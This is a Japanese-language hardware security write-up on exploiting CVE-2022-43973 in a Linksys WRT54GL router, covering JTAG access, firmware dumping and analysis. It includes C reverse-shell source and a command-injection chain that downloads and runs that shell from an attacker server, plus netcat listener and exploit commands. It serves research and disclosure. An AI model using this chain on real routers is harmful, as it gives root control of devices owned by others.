
はんだからシェルへ: Linksys WRT54GLルーターの完全ハードウェアエクスプロイト (CVE-2022-43973)
10フェーズにわたる組み込みセキュリティ研究の旅 — JTAGピン発見からMIPSベースのコンシューマールーターでのリモートコード実行まで。
| 著者 | Umberto Della Monica |
| 役割 | MScサイバーセキュリティ学生 — 組み込みセキュリティ研究者 |
| 日付 | 2026年5月 |
| リポジトリ | Linksys-WRT54GL-Exploitation |
免責事項: この研究は、私が個人所有するハードウェア上で教育および研究目的のみで実施されました。許可なくアクセスしたシステムはありません。ここで説明するすべての技術は、あなたが所有するデバイス、または明示的な書面によるテスト許可を得たデバイスでのみ再現する必要があります。著者は、提示された情報の誤用について一切の責任を負いません。常に適用される法律、規制、および責任ある開示慣行に従ってください。
Linksys WRT54GLは、これまでに製造された最も象徴的なコンシューマールーターの1つです。オープンソースのファームウェアサポートにより、愛好家や研究者の間で人気を博しました。古いにもかかわらず、現在も世界中で活発に使用されており、組み込みセキュリティ研究の関連性の高いターゲットとなっています。
ハードウェアセキュリティ評価の最初のステップは物理的検査です。デバイスの筐体を開けた後、PCB上に2つのデバッグインターフェースを特定しました。
JTAGヘッダーが未実装だったため、仮のピンヘッダーを半田付けしてデバッグインターフェースにアクセスしました。マルチメーターを使用してグラウンドとVccラインを特定し、ターゲットが3.3Vロジックレベルで動作することを確認しました。これはチップセットへの損傷を防ぐために重要です。
JTAG信号をマッピングするために、Grand Idea StudioのJTAGulatorを使用しました。これは、可能なすべてのピン組み合わせをプローブすることでデバッグインターフェースを自動的に識別するハードウェアツールです。
JTAGulatorは以下のJTAGピン配置を正常に識別しました。
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
TCK: PA3
TMS: PA4
TDI: PA1
TDO: PA2
TRST: NC
SRST: PB0
notes: "Header JP3 — verified 3.3V logic."
JTAGピンが特定されたので、Attify Badge(FTDI FT2232Hチップを搭載したオープンソースのハードウェアセキュリティ評価ツール、GNU GPL v3.0)をルーターのJTAGヘッダーに接続しました。
OpenOCD(Open On-Chip Debugger)を、BCM5352ターゲットに合わせたカスタム設定で起動しました。公式の設定はこの特定のハードウェアリビジョンと互換性がなかったためです。
カスタムOpenOCD設定は、ルーターのフラッシュパーティション構成を定義します。
CPUを停止させた後、メモリマップされたNORフラッシュの完全な4 MBダンプを実行しました。
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000
binwalkを使用して、ファームウェアダンプを分析し、埋め込まれたファイルシステム、圧縮セグメント、カーネルイメージを特定しました。
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin # エントロピー分析
sha256sum ./dumps/wrt54gl.bin # 整合性検証
分析により、標準的なBusyBoxベースのLinux環境を含むSquashFSルートファイルシステムが明らかになりました。binwalk -eとunsquashfsを使用して抽出し、詳細な調査を行いました。
安全なテスト環境を作成するために、FirmAEを使用してファームウェアエミュレーションをセットアップしました。FirmAEはMIPSアーキテクチャをサポートする自動化されたファームウェアエミュレーションフレームワークです。これにより、仮想環境でルーターのサービス(HTTP、telnet)を再現し、物理デバイスにリスクを与えずにエクスプロイトをテストできました。
MIPS逆コンパイラプラグインを備えたGhidra(NSAのリバースエンジニアリングフレームワーク)を使用して、抽出されたファームウェアバイナリの静的解析を実行し、CVE-2022-43973の存在を確認しました。
脆弱性はルーターのCGIリクエストハンドラーに存在します。/apply.cgiエンドポイントのui_languageフォームフィールドは、サニタイズなしで任意の入力を受け入れます。シェルコマンドを;cmd;構文でラップして注入することにより、攻撃者は/upgrade.cgi経由でファームウェアアップグレードがトリガーされたときに実行されるコマンドをステージングできます。
影響を受けるファームウェアバージョン:
ルーターのMIPSアーキテクチャ専用に設計されたカスタムリバースシェルをC言語で開発しました。ペイロードは攻撃者へのTCP接続を確立し、すべての標準ファイル記述子をソケットにリダイレクトし、インタラクティブシェルを起動します。
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0); // redirect stdin
dup2(sockt, 1); // redirect stdout
dup2(sockt, 2); // redirect stderr
execve("/bin/sh", sh_argv, NULL);
ターゲットアーキテクチャ用にペイロードをコンパイルするために、公式のLinksys GPLリリース(WRT54GL-ETSI_v4.30.18.006)から取得したBroadcom MIPSクロスコンパイルツールチェーン(hndtools-mipsel-linux-3.2.3)を含む再現可能なDocker環境を構築しました。
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest
# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c
結果のバイナリは移植性のために静的にリンクされています。ターゲット上に共有ライブラリの依存関係はありません。
CVE-2022-43973を活用して攻撃チェーン全体を自動化するPythonエクスプロイトフレームワークを開発しました。エクスプロイトは、ui_languageパラメータを介してコマンドとして注入される4ステップのシーケンスを実行します。
wgetコマンドを注入し、攻撃者のHTTPサーバーからルーターの/tmp/XへMIPSリバースシェルバイナリをダウンロードchmod +x /tmp/Xを注入し、バイナリを実行可能にする/tmp/X <attacker_ip> <port>を注入し、リバースシェルを起動ui_languageをデフォルト値(en)にリセット各コマンドはui_languageフィールド内で;cmd;としてラップされ、POST /apply.cgiを介して送信されます。続くPOST /upgrade.cgiにより実行がトリガーされます。
攻撃者のマシンでは3つのターミナルが必要です。
# 端末1: リバースシェルバイナリを提供
python -m http.server 8000
# 端末2: 着信リバースシェルを待機
nc -lvnp 4141
# 端末3: エクスプロイトを起動
python exploit.py --host 192.168.1.1 --username admin --password admin \
--attacker-host 192.168.1.2 --attacker-http-port 8000 \
--attacker-handler-port 4141
リバースシェルが攻撃者のNetcatリスナーに接続し、ルーター上でインタラクティブなルートシェルを提供します。
完全なエクスプロイトチェーンを検証するために、攻撃中にWiresharkでネットワークトラフィックをキャプチャしました。分析により以下が確認されました。
/apply.cgiおよび/upgrade.cgiへの正しいHTTP POSTインジェクションシーケンスwgetによるペイロードダウンロードの成功物理的なアクセスは強力な攻撃ベクトルである。 JTAGはすべてのソフトウェアセキュリティメカニズムをバイパスするルートレベルのハードウェアアクセスを提供します。組み込みデバイスを展開する組織は、物理的セキュリティ制御を検討し、プロダクションファームウェアでデバッグインターフェースを無効にする必要があります。
ファームウェア抽出は基本である。 ファームウェアをダンプして分析することで、ハードコードされた認証情報、設定データ、およびネットワークのみの視点からは見えない脆弱なコードパスを含む完全なソフトウェアスタックが明らかになります。
エミュレーションにより安全で再現可能な研究が可能になる。 FirmAEのようなツールを使用すると、研究者は仮想環境でデバイスの動作を再現でき、物理的なハードウェアを危険にさらしたり、意図しない結果を引き起こすことなく反復テストが可能になります。
単純な入力検証の失敗は重大な影響をもたらす。 CVE-2022-43973は、Webインターフェースの1つのサニタイズされていないフォームフィールドが、ルートレベルのアクセス権を持つ完全なデバイス侵害につながることを示しています。多層防御(入力検証、最小権限、セキュアコーディング慣行)は依然として不可欠です。
再現可能なツールチェーンが重要である。 Dockerベースのクロスコンパイル環境により、ペイロードとツールを確実に再構築でき、研究結果の検証可能性と共有可能性が確保されます。
レガシーデバイスは継続的なリスクをもたらす。 WRT54GLは現在も世界中で活発に使用されています。セキュリティアップデートが提供されなくなったサポート終了デバイスは、ネットワークセキュリティに対する持続的な脅威となります。
詳細な技術情報については、以下のドキュメントを参照してください。
| ドキュメント | 説明 |
|---|---|
| ハードウェアインベントリ | デバイス仕様、ピン配置、データシート、ハードウェアツール |
| ソフトウェアスタック |
このプロジェクトはMITライセンスの下でライセンスされています。詳細についてはLICENSEファイルを参照してください。
AttifyまたはJTAGulatorの回路図を再現する場合は、それぞれのライセンス(AttifyコンポーネントはGNU GPL v3.0)に従ってください。
Umberto Della Monica
LinkedIn
#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec
| 仕様 | 値 |
|---|
| チップセット | Broadcom BCM5352 |
| CPUクロック | 200 MHz |
| アーキテクチャ | MIPS 32ビット(リトルエンディアン) |
| フラッシュメモリ | 4 MB NOR(0xbfc00000でメモリマップ) |
| RAM | 16 MB |
| ワイヤレス | IEEE 802.11b/g、54 Mbps |
| ネットワーク | 4x LAN + 1x WAN、SPI対応NATファイアウォール |
| OS | Linuxベース(BusyBox) |
| ブートローダー | CFE(Common Firmware Environment) |
| パーティション | 説明 | 開始アドレス | サイズ |
|---|
| CFE | ブートローダー | 0xbfc00000 | 256 KB |
| ファームウェア | カーネル + ルートFS | 0xbfc40000 | ~3.7 MB |
| NVRAM | 設定 | 0xbfff0000 | 64 KB |
| フィールド | 値 |
|---|
| CVE ID | CVE-2022-43973 |
| タイプ | リモートコード実行(RCE) |
| 攻撃ベクトル | 認証済みHTTPリクエスト |
| 根本原因 | 未サニタイズのui_languageパラメータによるコマンドインジェクション |
| エンドポイント | POST /apply.cgi |
| トリガー | POST /upgrade.cgi(ファームウェアアップグレード) |
| 影響 | 完全なルートレベルのコマンド実行 |
| カテゴリ | ツール | 目的 | 参照元 |
|---|
| ハードウェア | Attify Badge | JTAG/UARTインターフェースアダプター | docs.attify.com(GNU GPL v3.0) |
| ハードウェア | JTAGulator | 自動デバッグピン発見 | Grand Idea Studio |
| ソフトウェア | OpenOCD | JTAGデバッグおよびフラッシュアクセス | openocd.org |
| ソフトウェア | Ghidra | 静的解析および逆コンパイル | ghidra-sre.org(NSA) |
| ソフトウェア | binwalk | ファームウェア解析および抽出 | ReFirmLabs |
| ソフトウェア | FirmAE | ファームウェアエミュレーション(MIPS) | GitHub |
| ソフトウェア | Firmadyne | ファームウェア動的解析 | GitHub |
| ソフトウェア | Docker | 再現可能なビルド環境 | docker.com |
| ツールチェーン | hndtools-mipsel-linux | Broadcom MIPSクロスコンパイラー | Linksys GPLリリース |
| ソフトウェア | Python 3 | エクスプロイト自動化フレームワーク | python.org |
| ソフトウェア | Wireshark | ネットワークトラフィック解析 | wireshark.org |
| 規格 | IEEE 1149.1 | JTAGバウンダリスキャン規格 | IEEE |
| Dockerセットアップ、OpenOCD設定、ツールチェーンの詳細、トラブルシューティング |
| 悪用手順 | コマンドとスクリーンショットを含む10フェーズのステップバイステップワークフロー |